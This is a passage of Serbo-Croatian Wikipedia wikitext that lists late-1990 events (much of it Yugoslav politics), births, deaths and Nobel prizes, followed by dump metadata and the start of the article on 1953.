[[Poljska|Poljskoj]], pobeđuje [[Lech Wałęsa]]. * [[26. 11.]] - Izdata novčanica od 1000 dinara (Nikola Tesla). * 26. 11. - Obnovljena [[Šangajska berza]]. * [[27. 11.]] - Zemljotres na [[Dinara|Dinari]], 10 povređenih. * 27. 11. - Konačno odobreno žensko pravo glasa u švajcarskom kantonu [[Appenzell Innerrhoden]]. * [[28. 11.]] - Premijer [[Singapur]]a [[Lee Kuan Yew]] dao ostavku nakon 31 godine na položaju. * [[29. 11.]] - [[Željko Ražnatović|Željko Ražnatović-Arkan]] uhapšen u [[Dvor na Uni|Dvoru na Uni]] sa oružjem i četničkim obeležjima. * 29. 11. - Vijeće Sigurnosti [[UN]] usvojilo rezoluciju 678 o upotrebi svih mjera radi izbacivanja [[Irak]]a iz [[Kuvajt]]a ukoliko se iračke trupe ne povuku do 15. 1. [[1991]]. * 29. 11. - Bugarski socijalistički premijer [[Andrej Lukanov]] protestima prinuđen na ostavku. === Decembar/Prosinac === [[Datoteka:Stevan Kragujevic, Patrijarh srpski Pavle,.JPG|mini|130px|[[Patrijarh Pavle]]]] * [[1. 12.]] - Izabran [[Patrijarh Pavle]], 44. poglavar srpske crkve (do [[2009]]); [[patrijarh German|German]] nije bio u stanju obavljati funkciju usled povrede iz [[1989]]. * 1. 12. - Probijen servisni tunel u [[Eurotunel]]u ispod [[La Manche|La Mancha]]. * [[2. 12.]] - Savezni izbori u Nemačkoj, prvi slobodni i svenemački od [[1932]], pobeda koalicije CDU/CSU i kancelara [[Helmut Kohl|Kohla]]. * 2. 12. - Pobunjenici zbacili [[čad]]skog predsednika [[Hissène Habré|Habréa]], dolazi [[Idriss Déby]] (do pogibije 2021). * [[3. 12.]] - Objavljen intervju [[Miroslav Lazanski|Miroslava Lazanskog]] sa saveznim sekretarom za narodnu odbranu [[Veljko Kadijević|Veljkom Kadijevićem]], u kojem se on zalaže za jedinstvenu i socijalističku Jugoslaviju. Ovaj intervju je u slovenačkoj i hrvatskoj javnosti protumačen kao pretnja njihovim republikama, u Hrvatskoj zatražena ostavka. * 3. 12. - [[Mary Robinson]] predsednica [[Irska|Irske]] (do 1997). * [[6. 12.]] - Završava se predizborna kampanja u Srbiji, u Dubnici kod Vranja ubijen aktivista SPO. Oko 200 novinara protestuje ispred srpske skupštine zbog manipulacije vesti. * 6. 12. - Predsednik [[Bangladeš]]a [[Hussain Muhammad Ershad]] prinuđen protestima na ostavku. * [[8. 12.]] - Obnovljena [[Matica hrvatska]]. * [[9. 12.]] i [[23. 12.]] - [[Datoteka:Coat of arms of Serbia (1947–2004).svg|25px|Grb SR Srbije]] U [[Srbija|Srbiji]] održani prvi višestranački izbori s općim pravom glasa: ** [[Slobodan Milošević]] [[Izbori za predsednika Republike Srbije 1990.|izabran u prvom krugu]] za predsednika Republike ** [[Skupštinski izbori u Srbiji 1990.|Skupštinski izbori]] za 250 poslanika, po većinskom sistemu: [[Socijalistička partija Srbije|SPS]] 46,1% glasova i 194 mesta, [[SPO]] 15,8% glasova i 19 mesta, [[Demokratska stranka (Srbija)|DS]] 7,5% i 7 poslanika; opozicija je u drugom krugu nastupala ujedinjeno. Kosovski Albanci bojkotovali izbore. * 9. 12. - [[Datoteka:Coat of Arms of the Socialist Republic of Montenegro.svg|25px|Grb SR Crne Gore]] Izbori u [[SR Crna Gora|Crnoj Gori]]: [[SK Crne Gore]] osvojio 83 od 125 poslaničkih mesta, Savez reformskih snaga 17 itd. * [[11. 12.]] - U Albaniji, pod pritiskom studentskih demonstracija, legalizovane političke partije, Demokratska partija na čelu sa [[Sali Beriša|Salji Berišom]] osnovana već sutradan. * [[13. 12.]] - Antikomunistički neredi u [[Skadar|Skadru]], [[Kavaja|Kavaji]] i još nekim albanskim mestima. * [[14. 12.]] - U Zagrebu izašao prvi broj tjednika ''[[Globus (hrvatski tjednik)|Globus]]''. * [[15. 12.]] - [[Kirgiska SSR]] proglasila suverenost. * [[16. 12.]] - [[Jean-Bertrand Aristide]] pobedio na predsedničkim izborima u [[Haiti]]ju, valjda prvim poštenim izborima u istoriji zemlje. [[Datoteka:AlijaIzetbegovic1.jpg|mini|130px|[[Alija Izetbegović]]]] * [[20. 12.]] - Prema dogovoru nacionalnih stranaka u BiH: predsednik [[Alija Izetbegović]] (SDA, 1990-98. i 2000.), premijer [[Jure Pelivan]] (HDZ, do 1992.), predsednik Skupštine [[Momčilo Krajišnik]] (SDS, do 1992.). * 20. 12. - Savezna vlada zabranila bankama da prodaju devize, iz zemlje se ne može izneti više od 1000 maraka; devizne rezerve su pale na 8,2 milijarde dolara sa 9,5 milijardi u oktobru<ref>[http://www.upi.com/Archives/1990/12/20/Yugoslavia-restricts-foreign-currency-withdrawals/3251661669200/ Yugoslavia restricts foreign currency withdrawals]. upi.com Archives Dec. 20, 1990</ref>. Dinar više nije konvertibilan, banke više ne isplaćuju deviznu štednju, inflacija 120%<ref>[http://www.nytimes.com/1991/04/20/business/feuds-crippling-yugoslav-economy.html?scp=8&sq=yugoslavia&st=nyt&pagewanted=1 Feuds Crippling Yugoslav Economy], New York Times, April 20, 1991</ref>. Republike su potrošile 16 milijardi dolara više nego što je predviđeno Markovićevom antiinflacionom politikom<ref>[http://www.upi.com/Archives/1990/12/27/Yugoslavia-vice-president-casts-cloud-on-leadership-meeting/4511662274000/ Yugoslavia vice president casts cloud on leadership meeting]. upi.com Archives Dec. 27, 1990</ref> (za plate 3,7 milijarde više<ref>[http://www.upi.com/Archives/1990/12/28/Yugoslav-government-warns-of-looming-catastrophe/1055662360400/ Yugoslav government warns of looming catastrophe]. upi.com Archives Dec. 28, 1990</ref>). * 20. 12. - Šef [[SSSR|sovjetske]] diplomatije [[Eduard Ševarnadze]], ključna ličnost sovjetskih reformi koje su dovele do okončanja [[hladni rat|"hladnog rata"]], podneo ostavku upozorivši Parlament na opasnost uspostavljanja diktatorskog poretka u zemlji. * 20. 12. - [[Nexhmije Hoxha]] se povukla sa čela Demokratskog fronta, masovne krovne organizacije [[Narodna Republika Albanija|komunističke Albanije]], sutradan je uklonjena Staljinova statua sa [[Skenderbegov trg (Tirana)|Skenderbegovog trga]]. [[Datoteka:Flag of Croatia.svg|mini|250px|Zastava Hrvatske]] * [[21. 12.]] - Zakon o [[Grb Hrvatske|grbu]], [[Zastava Hrvatske|zastavi]] i [[Himna Hrvatske|himni]] Republike Hrvatske, te zastavi i lenti Predsjednika Republike Hrvatske. Izglasan je Ustav. * 21. 12. - Proglašena [[SAO Krajina]] i donet Statut. * Štampa objavljuje da je čehoslovačkim avionom dopremljena velika količina oružja za potrebe Hrvatske. (?) * 21. 12. - Jak zemljotres u severnoj Grčkoj, šteta i u [[Đevđelija|Đevđeliji]]. * 21. 12. - Lančani sudar sa preko 100 vozila na poledici i magli kod Sremske Mitrovice, dvoje poginulih. * [[22. 12.]] - [[Hrvatski sabor]] svečano proglašava [[Ustav Republike Hrvatske]] temeljem koga [[predsjednik Republike Hrvatske|predsjednikom]] s novim, proširenim, ovlastima postaje [[Franjo Tuđman]]. Po Ustavu, Hrvatska je država Hrvata i drugih narodnosti koji u njoj žive. Ističe se pravo na otcepljenje. * 22. 12. - Okončan trust UN za [[Federativne Države Mikronezije]] i [[Maršalovi Otoci|Maršalove Otoke]]. * [[23. 12.]] - [[Datoteka:Ballot.gif|25px]] Referendum o nezavisnosti u Sloveniji, 86% je "za". Savezno predsedništvo i Savezno veće skupštine (bez slovenačkih delegata) su ranije ocenili referendum kao protivustavan. * [[25. 12.]] - [[Tim Berners-Lee]] i [[Robert Cailliau]] ostvarili prvu vezu između [[HTTP]] klijenta i [[server]]a preko interneta. * [[26. 12.]] - Skupština [[Slovenija|Slovenije]] proglasila samostalnost te republike i ovlastila vladu da, ukoliko se u roku od šest meseci ne postigne sporazum o preuređenju Jugoslavije, proglasi nezavisnost Slovenije. [[Datoteka:Manastir Tronoša-proslava 700 godina postojanja 061 (cropped).jpg|mini|100px|[[Amfilohije Radović|Amfilohije]]]] * [[28. 12.]] - "Monetarni udar": Srbija uzima, bez znanja Narodne banke Jugoslavije, dinarsku protivvrednost od 1,4 milijarde dolara iz primarne emisije za plate, penzije i sl. * 28. 12. - Savezna vlada najavljuje devalvaciju dinara i ograničenje javne potrošnje i plata za 1991. * 30. 12. - [[Amfilohije Radović]] ustoličen za mitropolita [[Mitropolija crnogorsko-primorska|crnogorsko-primorskog]] (do 2020). * [[30. 12.]] - [[Gari Kasparov|Kasparov]] odbranio u Lionu titulu svetskog šampiona, pobedio je [[Anatolij Karpov|Karpova]] sa 12½ prema 11½. === Kroz godinu === * [[Demografija Socijalističke Federativne Republike Jugoslavije|Demografija SFRJ]]: procenjuje se da je ove godine dostignut vrhunac stanovništva: 23.657.623 (na [[Popis stanovništva 1991. u SFRJ|popisu sledeće godine]], pod "kaotičnim" okolnostima, registrovano je 23.528.230). * Početak rada [[HE Pirot]] (80 MW). * Jugoslaviju tokom godine posetilo 9 miliona stranaca, od čega 40% Nemaca, zarađeno 2,7 milijardi dolara, preko 80% u Hrvatskoj<ref>[http://www.nytimes.com/1991/06/06/business/strife-cripples-yugoslavia-s-big-tourist-industry.html?scp=11&sq=yugoslavia&st=nyt Strife Cripples Yugoslavia's Big Tourist Industry], New York Times, June 6, 1991</ref> (2,7 dolara iz 1990. jednako 5,03 dolara iz 2017. prema ''CPI Inflation Calculator''). * Uvođenje višestranačja u nekim zemljama Afrike: Benin, Zair, Gabon, Zelenortska Ostrva, R. Kongo, Mozambik, Niger, Kamerun, Zambija. * Emigracija Jevreja iz SSSR: 228.400 ove godine, od čega 183.400 odlazi u Izrael (daju su različite cifre). == 1990. u temama == * [[Televizija]]. TV Serije: "[[Bolji život]] 2" (1990-91), "[[Jastuk groba mog]]", "Metla bez drške 2", "Agencija Kikom" (TV Beograd); "Neuništivi" (TV Zagreb); "[[Memoari porodice Milić]]", "Praški student" (TV Sarajevo) * Neki [[Popis jugoslavenskih filmova|domaći filmovi]]: "[[Gluvi barut (film)|Gluvi barut]]", "[[Stela (film, 1990)|Stela]]", "[[Poslednji valcer u Sarajevu]]" (prikazan 2007), "[[Seks — partijski neprijatelj br. 1]]" (→ [[:Kategorija:Filmovi 1990.]]). * Neki domaći muzički/glazbeni albumi<ref>[https://www.discogs.com/search/?format_exact=LP&format_exact=Album&year=1990&decade=1990&country_exact=Yugoslavia Explore Yugoslavia LP Album from 1990 on Discogs]. discogs.com (pristup. 25. 7. 2016.)</ref> (→ [[:Kategorija:Albumi 1990.]]): ** Pop/rock: <small>[[Riblja čorba]]</small>: "Koza nostra"; <small>[[Parni valjak]]</small>: "Lovci snova"; <small>[[Prljavo kazalište]]</small>: "Devedeseta"; <small>[[Branimir Štulić]]</small>: "Balegari ne vjeruju sreći"; <small>Merlin</small>: "Peta strana svijeta"; <small>Galija</small>: "Još uvek sanjam (Najveći hitovi)"; <small>[[Oktobar 1864]]</small>: "Crni ples"; <small>[[Dino Dvornik]]</small>: "Jače manijače (EP)" i "Kreativni nered"; <small>[[KUD Idijoti]]</small>: "Bolivia R'N'R" i "Mi smo ovdje samo zbog para"; <small>[[Majke]]</small>: "Razum i bezumlje"; <small>[[Roze poze]]</small>: "Daj gol"; <small>[[Psihomodo pop]]</small>: "Sexy magazin"; <small>[[Snežana Mišković|Viktorija]]</small>: "Ja verujem"; <small>[[U škripcu]]</small>: "Izgleda da mi smo sami"; <small>[[Piloti (grupa)|Piloti]]</small>: "Neka te bog čuva za mene"; <small>[[Kerber (grupa)|Kerber]]</small>: "Peta strana sveta"; <small>[[Dejan Cukić]] i Spori ritam bend</small>: "1991"; ** Zabavni: <small>[[Zdravko Čolić]]</small>: "Da ti kažem šta mi je"; <small>[[Hari Mata Hari]]</small>: "Strah me da te volim"; <small>[[Vlada Divljan|Vlada]] i [[Srđan Gojković|Gile]]</small>: "Rokenrol bukvar"; <small>[[Tajči]]</small>: "Hajde da ludujemo"; ** Folk: <small>[[Lepa Brena]]</small>: "Boli me uvo za sve"; <small>[[Dragana Mirković]]</small>: "Pomisli želju"; <small>[[Svetlana Ražnatović|Svetlana Veličković]] - Ceca</small>: "Pustite me da ga vidim"; <small>[[Miroslav Ilić]]</small>: "Šta će nama tugovanje"; <small>[[Šemsa Suljaković|Šemsa]] i Južni vetar</small>: "Izdali me prijatelji"; <small>[[Toma Zdravković]]</small>: "Kafana je moja istina"; <small>[[Zoran Kalezić]]</small>: "Moj dobri anđele"; <small>[[Vasilija Radojčić]]</small>: "Na uskrs sam se rodila"; <small>[[Najbolji hrvatski tamburaši|Zlatni dukati]]</small>: "Horvatska domovina"; <small>[[Dragan Kojić Keba]]</small>: "Plavo oko plakalo je"; <small>[[Mitar Mirić]]</small>: "Najjači smo, najjači"; ** Debitantski albumi (ne mora biti početak karijere): Roze poze, [[Daleka obala]], [[Mladen Kvesić]], KUD Idijoti, Majke, [[Severina Vučković|Severina]], [[Fantomi (glazbeni sastav)|Fantomi]], [[Dražen Zečić]], [[Regina (bend)|Regina]], [[Obojeni program]], [[Osvajači (grupa)|Osvajači]], [[Saška Karan]]... * Jugoslovenske novčanice iz 1990: <gallery> 50-Dinara-1990.jpg|50 dinara (spomenik) 200-dianara-1990.jpg|200 dinara 100-Dinara-1990f.jpg|100 dinara 50dinara 01.06.1990.jpg|50 dinara (dečak) 10-dinara-1990.jpg|10 dinara ("črvena") 500-Dinara-1990f.jpg|500 dinara 1000-dinara-1990.jpg|1000 dinara </gallery> * Neka vozila uvedena 1990: <gallery> 1993 Renault Clio Baccara 1.8i 3dr.JPG|[[Renault Clio]] I (Evropski auto godine '91) Volvo-940-Sedan.jpg|[[Volvo serije 900]] </gallery> == Rođenja == {{glavni članak|:Kategorija:Rođeni 1990.}} === Januar/Siječanj &ndash; Jun/Lipanj === * [[9. 1.]] - [[Stefana Veljković]], odbojkašica * [[12. 1.]] - [[Nihad Đedović]], bosanskohercegovački košarkaš * [[18. 1.]] - [[Sofija Novoselić]], hrvatska skijašica * [[26. 1.]] - [[Peter Sagan]], slovački biciklista * [[4. 2.]] - [[Nairo Quintana]], kolumbijski biciklista * [[24. 2.]] - [[Bogdan Riznić]], srpski košarkaš * 24. 2. - [[Dino Pešut]], književnik * [[8. 3.]] - [[Petra Kvitová]], teniserka * [[27. 3.]] - [[Kimbra]], novozelandska pevačica * [[2. 4.]] - [[Stipe Čulina]], hrvatski nogometaš * 2. 4. - [[Miralem Pjanić]], fudbaler * [[9. 4.]] - [[Kristen Stewart]], američka glumica * [[15. 4.]] - [[Emma Watson]], glumica * [[19. 4.]] - [[Marko Tomićević]], kajakaš * [[22. 4.]] - [[Luka Ritz]], žrtva zločina († [[2008]]) * [[24. 4.]] - [[Jan Veselý]], češki košarkaš * [[2. 5.]] - [[Ivana Maksimović]], strelac * [[5. 5.]] - [[Ana Šimić]], atletičarka * [[10. 5.]] - [[Ivana Španović]], atletičarka * [[12. 5.]] - [[Jelena Jovanović]], model, pevačica, glumica * [[16. 5.]] - [[Darko Šarović]], atletičar * [[7. 6.]] - [[Iggy Azalea]], pevačica, model * [[19. 6.]] - [[Dušan Svilar]], pevač, zvezda Granda * [[21. 6.]] - [[Sandra Perković]], atletičarka * [[30. 6.]] - [[Jaka Blažič]], košarkaš * 30. 6. - [[Dušan Lajović]], teniser * 30. 6. - [[Sandro Sukno]], vaterpolist === Jul/Srpanj &ndash; Decembar/Prosinac === * [[2. 7.]] - [[Margot Robbie]], glumica * [[6. 7.]] - [[Rafaela Franić]], manekenka * [[11. 7.]] - [[Caroline Wozniacki]], teniserka * [[14. 7.]] - [[Jan Nepomnjašči]], ruski šahista * [[29. 7.]] - [[Ivan Lenđer]], plivač * [[8. 8.]] - [[Brankica Sebastijanović]], glumica * [[10. 8.]] - [[Tatjana Jelača]], srpska atletičarka * [[12. 8.]] - [[Mario Balotelli]], fudbaler * [[15. 8.]] - [[Jennifer Lawrence]], glumica * [[23. 8.]] - [[Čaba Silađi]], plivač * [[28. 8.]] - [[Ivan Vilibor Sinčić]], hrvatski aktivist i političar * [[15. 9.]] - [[Darko Lazović]], fudbaler * [[19. 9.]] - [[Kieran Trippier]], engleski fudbaler * [[27. 9.]] - [[Mirka Vasiljević]], glumica * [[22. 10.]] - [[Tina Blade]], hrvatska pornografska glumica * [[11. 11.]] - [[Tom Dumoulin]], holandski biciklista * [[26. 11.]] - [[Rita Ora]], pevačica * [[30. 11.]] - [[Magnus Carlsen]], svetski prvak u šahu * [[13. 12.]] - [[Stipe Žunić]], bacač kugle * [[26. 12.]] - [[Denis Čerišev]], ruski fudbaler * [[27. 12.]] - [[Miloš Raonić]], kanadski teniser == Smrti == {{glavni članak|:Kategorija:Umrli 1990.}} === Januar/Siječanj === * [[4. 1.]] - [[Harold Eugene Edgerton]], pronalazač stroboskopskog svetla (* [[1903]]) * [[5. 1.]] - [[Arthur Kennedy]], glumac (* [[1914]]) * [[10. 1.]] - [[Lyle R. Wheeler]], filmski art direktor (* [[1905]]) * [[20. 1.]] - [[Barbara Stanwyck]], glumica (* [[1907]]) * [[22. 1.]] - [[Roman Vishniac]], fotograf (* [[1897]]) * [[25. 1.]] - [[Ava Gardner]], glumica (* [[1922]]) * 25. 1. - [[Franjo Nefat]], nekadašnji predsjednik NOO Pule (* [[1908]]) * 25. 1. - [[John Rogers Cox]], slikar (* [[1915]]) * [[26. 1.]] - [[Lewis Mumford]], istoričar, filozof (* [[1895]]) * [[28. 1.]] - [[Tode Čolak]], književnik i profesor (* [[1931]]) * [[30. 1.]] - [[Slobodan Marković (pesnik)|Slobodan Marković]], Libero Markoni, srpski pesnik (* [[1928]]) === Februar/Veljača === * [[3. 2.]] - [[Đuro Basler]], historičar, arheolog (* [[1917]]) * [[4. 2.]] - [[Toma Bebić]], multidisciplinarni umjetnik (* [[1935]]) * [[8. 2.]] - [[Del Shannon]], kantautor (* [[1934]]) * [[12. 2.]] - [[Nenad Radulović]], Neša Leptir, rok muzičar (* [[1959]]) * [[18. 2.]] - [[Josip Gjergja]], bivši hrvatski političar (* [[1911]]) * [[19. 2.]] - [[Otto E. Neugebauer]], matematičar, istoričar nauke (* [[1899]]) * 19. 2. - [[Michael Powell]], filmski režiser (* [[1905]]) * [[24. 2.]] - [[Jure Kaštelan]], hrvatski pjesnik (* [[1919]].) * 24. 2. - [[Sandro Pertini]], bivši predsednik Italije (* [[1896]]) * 24. 2. - [[Malcolm Forbes]], izdavač časopisa ''Forbes'', kolekcionar (* [[1919]]) * 24. 2. - [[Johnnie Ray]], kantautor, pionir roka (* [[1927]]) === Mart/Ožujak === * [[2. 3.]] - [[Boško Šiljegović]], general-pukovnik JNA, narodni heroj (* [[1915]]) * [[4. 3.]] - Nikanor, proiguman manastira Hilandar (* [[1904]]) * [[17. 3.]] - [[Capucine]], francuski model, glumica (* [[1928]]) * [[20. 3.]] - [[Lav Jašin]], sovjetski golman (* [[1929]]) * [[22. 3.]] - [[Gerald Bull]], inženjer dalekometne artiljerije (* [[1928]]) * [[23. 3.]] - [[Andrija Lakonić Laki]] (ubijen), bokser * [[26. 3.]] - [[Halston]], američki modni kreator (* [[1932]]) === April/Travanj === * [[2. 4.]] - [[Momčilo Stevanović]], slikar, kritičar (* [[1903]]) * [[3. 4.]] - [[Sarah Vaughan]], džez-pevačica (* [[1924]]) * [[8. 4.]] - [[Ryan White]], žrtva side (* [[1971]]) * [[11. 4.]] - [[Petar Šimić]], admiral JRM, sekretar SKJ pri JNA (* [[1933]]) * [[15. 4.]] - [[Greta Garbo]], glumica (* [[1905]].) * 15. 4. - [[Pepca Kardelj]], Edvardova udovica (* [[1914]]) * [[21. 4.]] - [[Fejzulah Hadžibajrić]], orijentalista, šejh (* [[1913]]) * [[23. 4.]] - [[Paulette Goddard]], glumica (* [[1910]]) === Maj/Svibanj === * [[3. 5.]] - [[Pimen (patrijarh moskovski)]] (* [[1910]]) * [[7. 5.]] - [[Andrej Karađorđević]], treći sin Aleksandra I (* [[1929]]) * [[16. 5.]] - [[Sammy Davis, Jr.]], plesač, pevač, glumac (* [[1925]]) * 16. 5. - [[Jim Henson]], tvorac Mapeta (* [[1936]]) * 16. 5. - [[Alija Sirotanović]], rudar, junak socijalističkog rada (* [[1914]]) * [[18. 5.]] - [[Jill Ireland]], glumica (* [[1936]]) * [[21. 5.]] - [[Božidar Kovačević (književnik)|Božidar Kovačević]], književnik (* [[1902]]) * [[22. 5.]] - [[Rocky Graziano]], bokser (* [[1919]]) * [[29. 5.]] - [[Branislav Protić]], slikar (* [[1931]]) * [[30. 5.]] - [[Zoran Gavrilović]], srpski književnik i književni kritičar (* [[1926]]) * [[31. 5.]] - [[Dragan Laković]], srpski glumac (* [[1929]]) === Jun/Lipanj === * [[2. 6.]] - [[Rex Harrison]], glumac (* [[1908]]) * [[3. 6.]] - [[Zdenka Zikova]], operska pevačica (* [[1905]]) * [[4. 6.]] - [[Jack Gilford]], glumac (* [[1907]]) * [[5. 6.]] - [[Vasilij Kuznjecov]], sovjetski političar (* [[1901]]) * [[7. 6.]] - [[Petar Šegvić]], veslač, olimpijac (* [[1930]]) * [[11. 6.]] - [[Vaso Čubrilović]], sarajevski zaverenik, srpski istoričar (* [[1897]]) * [[15. 6.]] - [[Đura Mešterović]], učesnik Španskog rata i NOB, general-pukovnik saniteta JNA (* [[1908]]) * [[18. 6.]] - [[Živko Živković (narodni heroj)|Živko Živković]], general-potpukovnik JNA, narodni heroj (* [[1912]]) === Jul/Juli/Srpanj === * [[7. 7.]] - [[Cazuza]], brazilski muzičar (* [[1958]]) * 7. 7. - [[Hugo Makibi Enomiya-Lassalle]], jezuita i zen-majstor (* [[1898]]) * [[13. 7.]] - [[Danilo Damjanović]], general-pukovnik JNA, narodni heroj (* [[1915]]) * [[17. 7.]] - [[Marin Franičević]], pjesnik i povjesničar (* [[1911]]) * [[18. 7.]] - [[Mihajlo Al. Popović]], filmski reditelj, snimatelj, glumac (* [[1908]]) * [[21. 7.]] - [[Sergej Paradžanov]], filmski režiser (* [[1924]]) * [[22. 7.]] - [[Slobodan Glumac]], novinar, prevodilac, osn. TV Novosti (* * 22. 7. - [[Manuel Puig]], argentinski pisac (* [[1932]]) * [[23. 7.]] - [[Kenjiro Takayanagi]], japanski pionir televizije (* [[1899]]) * [[29. 7.]] - [[Bruno Kreisky]], bivši kancelar Austrije (* [[1911]]) === Avgust/August/Kolovoz === * [[1. 8.]] - [[Ervina Dragman]], hrvatska glumica (* [[1908.]]) * [[6. 8.]] - [[Lemuel C. Shepherd, Jr.]], general sa četiri zvezdice marinaca SAD (* [[1896]]) * [[17. 8.]] - [[Pearl Bailey]], glumica, pevačica (* [[1918]]) * [[26. 8.]] - [[Rudolf Marić]], šahista i autor o šahu (* [[1927]]) * 26. 8. - [[Stanko Rakita]], pjesnik za djecu (* [[1930]]) * [[27. 8.]] - [[Stevie Ray Vaughan]], bluz gitarista (* [[1954]]) * [[29. 8.]] - [[Zlatka Radica]], hrvatska operna pjevačica (* [[1904.]]) === Septembar/Rujan === * [[4. 9.]] - [[Irene Dunne]], glumica (* [[1898]]) * [[5. 9.]] - [[Vančo Mihajlov]], vođa VMRO (* [[1896]]) * [[7. 9.]] - [[A. J. P. Taylor]], istoričar (* [[1906]]) * 7. 9. - [[Leo Mirković]], operni pjevač (* [[1904]]) * [[9. 9.]] - [[Samuel Doe]], predsednik Liberije (* [[1951]]) * 9. 9. - [[Nicola Abbagnano]], egzistencijalistički filozof (* [[1901]]) * [[12. 9.]] - [[Marijan Cvetković]], društveno-politički radnik SRH i SFRJ, narodni heroj (* [[1920]]) * rujan - [[Mato Dukovac]], pilot NDH (* [[1918]]) * [[20. 9.]] - [[Slobodan Zrnić]], konstruktor aviona [[IK-3]] (* [[1906]]) * [[21. 9.]] - [[Xu Xiangqian]], maršal NR Kine (* [[1901]]) * [[24. 9.]] - [[Zlata Kolarić-Kišur]], književnica (* [[1894]]) * [[25. 9.]] - [[Vjekoslav Vrančić]], ustaški dužnosnik (* [[1904]]) * [[26. 9.]] - [[Alberto Moravia]], italijanski književnik (* [[1907]]) * [[30. 9.]] - [[Patrick White]], australijski pisac (* [[1912]]) === Oktobar/Listopad === * [[1. 10.]] - [[Curtis LeMay]], general avijacije SAD (* [[1906]]) * [[3. 10.]] - [[Josip Turčinović]], hrvatski katolički svećenik (* [[1933]].) * 3. 10. - [[Vojo Todorović]] Lerer, učesnik Španskog rata i NOB, general-pukovnik JNA, narodni heroj (* [[1914]]) * 3. 10. - [[Stefano Casiraghi]], suprug princeze Caroline od Monaka (* [[1960]]) * [[4. 10.]] - [[Matija Skurjeni]], naivni slikar (* [[1898]]) * [[6. 10.]] - [[Marija Draženović Đorđević]], prva žena pilot RV NOVJ i JA (* [[1924]]) * [[7. 10.]] - [[Rashid bin Saeed Al Maktoum]], emir Dubaija (* 1912) * [[12. 10.]] - [[Rahman Morina]], društveno-politički radnik SAP Kosova (* [[1943]]) * [[14. 10.]] - [[Leonard Bernstein]], američki kompozitor, dirigent (* [[1918]]) * [[21. 10.]] - [[Dany Chamoun]], libanski političar (* [[1934]]) * [[22. 10.]] - [[Louis Althusser]], marksistički filozof (* [[1918]]) * [[27. 10.]] - [[Salih Behmen]], disident, bivši Mladi musliman (* [[1922]]) === Novembar/Studeni === * [[1. 11.]] - [[Zdenko Strižić]], arhitekt (* [[1902]]) * [[7. 11.]] - [[Lawrence Durrell]], britanski književnik, diplomata (* [[1912]]) * [[11. 11.]] - [[Janis Ricos]], pesnik (* [[1909]]) * [[12. 11.]] - [[Eve Arden]], glumica (* [[1908]]) * [[19. 11.]] - [[Šefik Bešlagić]], kulturni historičar (* [[1908]]) * [[20. 11.]] - [[Momčilo Popadić]], hrvatski pjesnik, novinar (* [[1947]]) * [[23. 11.]] - [[Roald Dahl]], književnik (* [[1916]]) * [[27. 11.]] - [[Simeon Zloković]], episkop gornjokarlovački (* [[1911]]) * [[30. 11.]] - [[Vladimir Dedijer]], istoričar (* [[1914]]) === Decembar/Prosinac === * [[2. 12.]] - [[Aaron Copland]], američki kompozitor i dirigent (* [[1900]]) * 2. 12. - [[Robert Cummings]], glumac (* [[1910]]) * [[7. 12.]] - [[Joan Bennett]], glumica (* [[1910]]) * [[14. 12.]] - [[Friedrich Dürrenmatt]], švajcarcki pisac (* [[1921]]) * [[25. 12.]] - [[Mladen Leskovac]], književnik i akademik (* [[1904]]) === Kroz godinu === * [[Vlado Milošević]], kompozitor i etnomuzikolog (* [[1901]]) * [[Hamdija Čemerlić]], akademik, bivši rektor Univerziteta u Sarajevu (* [[1905]]) * [[Pantelija Jakovljević]], graditelj Đerdapa (* [[1913]]) * [[Živorad Janković]], arhitekta (* [[1924]]) * [[Derviš Sušić]], književnik, novinar (* [[1925]]) == Dani sećanja == * == Nobelove nagrade == * [[Nobelova nagrada za fiziku|'''Fizika''']]: [[Jerome I. Friedman]], [[Henry W. Kendall]] i [[Richard E. Taylor]] (pionirska ispitivanja u vezi dubokog neelastičnog rasejanja elektrona na protonima i vezanim neutronima, što je bilo od suštinskog značaja za razvoj modela [[kvark]]a u čestičnoj fizici) * [[Nobelova nagrada za kemiju|'''Kemija''']]: [[Elias James Corey]] (razvoj teorije i metodologije [[organska sinteza|organske sinteze]]) * [[Nobelova nagrada za fiziologiju ili medicinu|'''Fiziologija i medicina''']]: [[Joseph E. Murray]] i [[E. Donnall Thomas]] (otkrića u vezi [[Transplantacija|transplantacije]] organa i ćelija u lečenju ljudske bolesti) * [[Nobelova nagrada za književnost|'''Književnost''']]: [[Octavio Paz]] (za strastveno pisanje sa širokim horizontima, karakterisano senzualnom inteligencijom i humanističkim integritetom) * [[Nobelova nagrada za mir|'''Mir''']]: [[Mihail Gorbačov]] (vodeća uloga u mirovnom procesu koji danas karakterizuje važne delove međunarodne zajednice) * [[Nobelova nagrada za ekonomiju|'''Ekonomija''']]: [[Harry M. Markowitz]], [[Merton H. Miller]] i [[William F. Sharpe]] (pionirski rad u teoriji [[Finansijska ekonomija|finansijske ekonomike]]) == Literatura == * [http://www.e-novine.com/feljton/27518-Rat-moe-pone.html Rat može da počne (e-novine)] {{Webarchive|url=https://web.archive.org/web/20100218035123/http://www.e-novine.com/feljton/27518-Rat-moe-pone.html |date=2010-02-18 }} * [http://www.e-novine.com/feed/feljton/32140-Kako-nastao-SDS-Svi-dravu.txt Balkan Bluz (e-novine)] * [http://www.vreme.com/arhiva_html/455/11.html Deset Miloševićevih godina u deset slika (2) (Vreme)] {{Webarchive|url=https://web.archive.org/web/20080830043531/http://www.vreme.com/arhiva_html/455/11.html |date=2008-08-30 }} == Povezano == * [[Godišnji kalendar]] - [[Dnevni kalendar]] * [[Hronologija raspada SFRJ]] == Reference == {{reflist|2}} == Vanjske veze == {{Commonscat|1990}} [[Kategorija:1990-e]] [[Kategorija:20. vijek|90]] [[Kategorija:Godine]] ipwavqkcsa2dxgkstu0uxgwie886qb1 0 3362 42602598 42584712 2026-05-27T19:38:45Z Alekol 2231 /* Januar/Siječanj */ 42602598 wikitext text/x-wiki {{godina nav}} {{Godina u drugim kalendarima|1953}} Godina '''1953''' ('''[[Rimski brojevi|MCMLIII]]''') po gregorijanskom kalendaru bila je [[redovna godina koja počinje u četvrtak]]. __NOTOC__ == Događaji == === Januar/Siječanj === * [[1. 1.]] - "Slobodna Vojvodina" menja ime u "[[Dnevnik (Novi Sad)|Dnevnik]]". * 1. 1. - Umro [[Hank Williams]], ove godine ima još tri singla na prvom mestu [[Country muzika|country]] liste. * 1. 1. - Novi ustav na [[Maldivi]]ma: sultanat je zamenjen republikom (ali monarhija se vraća 1954-68). * [[3. 1.]] - Senator [[Joseph McCarthy]] dolazi na čelo komiteta za vladine operacije, čiji potkomitet za istrage koristi za poteru za "komunistima" (obratite pažnju da je [[Odbor Predstavničkog doma za 